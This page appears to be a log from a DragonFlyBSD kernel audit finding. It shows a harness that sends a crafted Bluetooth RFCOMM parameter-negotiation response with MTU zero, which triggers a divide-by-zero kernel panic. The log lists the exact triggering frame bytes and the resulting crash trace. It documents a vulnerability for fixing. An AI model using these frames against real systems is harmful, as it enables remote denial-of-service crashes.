⬢ DragonFlyBSD Kernel Audit
DF-5733 / run.2.log
← back to finding ↓ download raw
login: === DF-5733 harness: PN response MTU=0 -> divide by zero ===
[harness] rfcomm_connect -> 0; dlc 0xfffff8008d520600 dlci 6 mtu 127 state 1
[harness] == L2CAP connected ==
[l2cap-stub] send: 4 bytes (first octet 0x3)
[harness] <- UA(0)  [session up] (4 bytes): 03 73 01 d7
[l2cap-stub] send: 11 bytes (first octet 0x3)
[harness] <- UIH(0) PN response mtu=0 (14 bytes): 03 ef 15 81 11 06 e0 00 00 00 00 00 00 70
[l2cap-stub] send: 4 bytes (first octet 0x1b)
[harness] after PN response: dlc->rd_mtu = 0  (poisoned!)
[harness] session CFC = 1, dlc state = 5
[harness] <- UA(6)  [dlc up] (4 bytes): 1b 73 01 18
[l2cap-stub] send: 6 bytes (first octet 0x3)
[upper] connected
[harness] <- UIH(0) MSC response (8 bytes): 03 ef 09 e1 05 1b 8d 70
[harness] dlc state = 6 (6 = OPEN), rd_mtu = 0
[harness] app sends 1 byte -> rfcomm_dlc_start()


Fatal trap 18: integer divide fault while in kernel mode
cpuid = 2; lapic id = 2
instruction pointer	= 0x8:0xffffffff8260276b
stack pointer	        = 0x10:0xfffff8011839b6f8
frame pointer	        = 0x10:0xfffff8011839b728
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1014
current thread          = pri 6 
kernel: type 18 trap, code=0

CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      rfcomm_dlc_start+0x3b:  divq    %rcx,%eax
db>